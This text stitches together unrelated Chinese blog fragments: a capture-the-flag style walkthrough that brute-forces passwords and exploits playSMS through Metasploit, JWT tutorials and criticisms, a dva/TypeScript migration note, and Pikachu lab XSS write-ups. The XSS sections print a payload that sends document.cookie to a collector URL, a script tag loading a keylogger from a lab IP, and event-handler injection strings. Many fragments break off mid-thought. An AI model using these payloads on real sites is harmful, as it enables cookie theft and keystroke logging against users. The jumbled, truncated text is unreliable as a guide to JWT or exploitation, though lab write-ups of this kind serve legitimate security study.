payload

0x00 信息搜集 主机发现： 端口扫描：只开放了80端口，只能从web服务入手 上面显示存在robots.txt。 接着查看robots.txt 分别浏览目录，发现一个nothing文件夹存在敏感信息：显示较多密码，可以搜集起来组合成为一个字典，可能存在用处。 其余目录都是这个亚子的： 尝试进行一下目录扫描：发现一个robots中没有显示的目录：secure 0x01 渗透测试过程： 访问secure发现存在一个压缩包，但是存在密码，将之前的密码全部导入，尝试爆破，密码为freedom: 扩展名是mp3文件，但是打开显示失败，用文件类型分析工具没有匹配到特征码： 直接用记事本打开，发现是一个文本文件，里面有下一步的提示： 访问上面的url，找到系统后台，更加文本的提示，登录名是touhid，密码是一个弱口令，使用之前按拿到的密码字典尝试爆破。（因为存在token校验，所以只能手动爆破），然后获取到正确的密码diana，成功进入后台： 在找到后台的同时发现是playSMS的系统，尝试使用searchexploit查找可用的漏洞，发现存在较多，但是都是需要登录后台： 经过尝试存在文件文件上传位置的命令执行，且有可利用的msf框架： 使用相应的模块，然后配置参数，一键攻击成功。 其中有一个很重要的点就是设置漏洞路径，如果文件上传的路径不正确就无法成功攻击。 0x02 手动测试

什么是JWT？ JWT全称JSON Web Token是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。 一个JWT实际上就是一个字符串，它由三部分组成，头部、载荷与签名。 头部（Header） 头部用于描述关于该JWT的最基本的信息，例如其类型以及签名所用的算法等。这也可以被表示成一个JSON对象。 {“typ”:“JWT”,“alg”:“HS256”} 在头部指明了签名算法是HS256算法。 我们进行BASE64编码。 编码后的字符串如下： eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 载荷（playload） 载荷就是存放有效信息的地方。这个名字像是特指飞机上承载的货品，这些有效信息包含三个部分 1.标准中注册的声明（建议但不强制使用） iss: jwt签发者 sub: jwt所面向的用户 aud: 接收jwt的一方 exp: jwt的过期时间，这个过期时间必须要大于签发时间 nbf: 定义在什么时间之前，该jwt都是不可用的. iat: jwt的签发时间 jti: jwt的唯一身份标识，主要用来作为一次性token。 2.公共的声明 公共的声明可以添加任何的信息，一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息，因为该部分在客户端可解密. 3.私有的声明

反射性xss（get） 输入“ '"<>123456 ” 用于测试我们的输入会不会被过滤掉，因为有特殊字符 查看页面源码 输入被输出到了 p 标签中 测试输入的JS代码payload如下 前端对输入长度做了限制，修改一下成为2333333 才能输入完整的payload 成功执行 查看源码，输入的payload嵌入了到了 p 标签里面 反射性xss（post） 用户名密码 admin 123456 进入界面 不能输入标签中 POST的方式提交的，参数内容不会出现在URL中，通过burpsuite 账号admin/123456 登上去以后发现还是没有任何过滤，直接构造payload: 经查询发现是用sha1 解密 得出密码为123456 存储型XSS 存储型XSS和反射型XSS形成的原因是一样的，不同的是存储型XSS下攻击者的可以将脚本注入到后台存储起来，构成更加持久的危害 进行特殊字符的测试 发现没有过滤 下面通过源码观察，也直接输出在 p 标签中，看起来没有经过任何转义和处理 下面输入下面的Payload进行测试测试输入的JS代码payload如下 成功弹窗 返回目录 DOM型XSS 随意输入字符123 输入的语句全部嵌在a标签内了 创造一个闭合，将a标签闭合掉，并且写入一个语句。 构造payload 成功弹窗 DOM型XSS-X 输入是从浏览器的URL中获取的，和反射型XSS

作者： 阮一峰 原文地址：http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html JSON Web Token（缩写 JWT）是目前最流行的跨域认证解决方案，本文介绍它的原理和用法。 一、跨域认证的问题 互联网服务离不开用户认证。一般流程是下面这样。 1、用户向服务器发送用户名和密码。 2、服务器验证通过后，在当前对话（session）里面保存相关数据，比如用户角色、登录时间等等。 3、服务器向用户返回一个 session_id，写入用户的 Cookie。 4、用户随后的每一次请求，都会通过 Cookie，将 session_id 传回服务器。 5、服务器收到 session_id，找到前期保存的数据，由此得知用户的身份。 这种模式的问题在于，扩展性（scaling）不好。单机当然没有问题，如果是服务器集群，或者是跨域的服务导向架构，就要求 session 数据共享，每台服务器都能够读取 session。 举例来说，A 网站和 B 网站是同一家公司的关联服务。现在要求，用户只要在其中一个网站登录，再访问另一个网站就会自动登录，请问怎么实现？ 一种解决方案是 session 数据持久化，写入数据库或别的持久层。各种服务收到请求后，都向持久层请求数据。这种方案的优点是架构清晰，缺点是工程量比较大。另外

JWS 也就是 Json Web Signature，是构造 JWT 的基础结构（JWT 其实涵盖了 JWS 和 JWE 两类，其中 JWT 的载荷还可以是嵌套的 JWT），包括三部分 JOSE Header、JWS Payload、JWS Signature。 这里的 Signature 可以有两种生成方式，一种是标准的签名，使用非对称加密，因为私钥的保密性，能够确认签名的主体，同时能保护完整性；另一种是消息认证码 MAC（Message Authentication Code），使用对称秘钥，该秘钥需要在签发、验证的多个主体间共享，因此无法确认签发的主体，只能起到保护完整性的作用。 JWS 最终有两种序列化的表现形式，一种是 JWS Compact Serialization，为一串字符；另一种是 JWS JSON Serialization，是一个标准的 Json 对象，允许为同样的内容生成多个签名/消息认证码。 JWS Compact Serialization，各部分以 ‘.’ 分隔。 BASE64URL(UTF8(JWS Protected Header)) || ’.’ || BASE64URL(JWS Payload) || ’.’ || BASE64URL(JWS Signature) JWS Json Serialization 还可以分为两种子格式：通用、扁平

转载了： https://www.jianshu.com/p/792f71bb52dd https://blog.csdn.net/weixin_37569048/article/details/80118059 在Web应用中，使用JWT替代session并不是个好主意 适合JWT的使用场景 使用JWT管理session还有如下缺点： 缺点一： 无法满足注销场景 传统的 session+cookie 方案用户点击注销，服务端清空 session 即可，因为状态保存在服务端。但 jwt 的方案就比较难办了，因为 jwt 是无状态的，服务端通过计算来校验有效性。没有存储起来，所以即使客户端删除了 jwt，但是该 jwt 还是在有效期内，只不过处于一个游离状态。 缺点二： 无法满足修改密码场景 修改密码则略微有些不同，假设号被到了，修改密码（是用户密码，不是 jwt 的 secret）之后，盗号者在原 jwt 有效期之内依旧可以继续访问系统，所以仅仅清空 cookie 自然是不够的，这时，需要强制性的修改 secret。 缺点二： 无法满足token续签场景 我们知道微信只要你每天使用是不需要重新登录的，因为有token续签，因为传统的 cookie 续签方案一般都是框架自带的，session 有效期 30 分钟，30 分钟内如果有访问，session 有效期被刷新至 30 分钟。但是

前言 最近在给自己的脚手架项目转到TypeScript时，遇到了一些麻烦。 项目之前采用的是react + react-redux + redux-thunk + redux-actions +redux-promise的体系。 当项目转TypeScript时,react和react-redux这种完美转换。 redux-actions转换也初步完成，但是各种为了适应TypeScript的声明很奇怪， 并且有些类型推断错误。 百度了一下，用typesafe-actions去替换，然后与redux-thunk 和redux-promise结合后，各种TypeScript类型错误。 这些类型推断稀奇古怪，网上也没有这个技术体系的相关文章，下班后调试代码，内心逐渐崩溃。 于是有了接下来的举措，用dva去替换react-redux + redux-thunk + redux-actions +redux-promise的数据流方案。 关于dva 关于dva的介绍咱们就不说了，这里给个链接： dva指南 。 明白它是基于 redux + react-router + redux-saga 的封装就够了。 我之前的脚手架是将action，reducer+initialState 分成了不同的文件来处理。 而dva将 reducer, initialState, action, saga

反射形 发现有字数限制，先改为99 然后输入 提交后就会弹窗 查看源码，发现以及写入源码中。 反射形（post) 先构造一个网页模拟提交 然后构造语句<script>document.location = ' http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie= ' + document.cookie;</script> 之后就收集到cookies 存储型xss 先改 rk.js 文件，然后将其构造为payload <script src="http://192.168.171.129/pikachu/pkxss/rkeypress/rk.js"></script> 然后再次登录，输入sdafffffff 输入信息后，可以发现信息以及被发送 查看后台发现输入被记录。 dom型xss 发现输入变为标签内容，查看源码 根据源码输入payload ' onclick=alert("xss")> 关闭herf 并同时设为点击弹窗。 dom型xss-s 查看源码，发现将+替换为空格，所以继续构造payload ‘ onlick=alert("aqh")> 能够正常弹窗 xss之盲打 查看发现不会有任何内容回显，猜测在后台记录尝试构造payload 后台查看图像，发现 攻击成功。 xss之过滤 发现会过滤掉script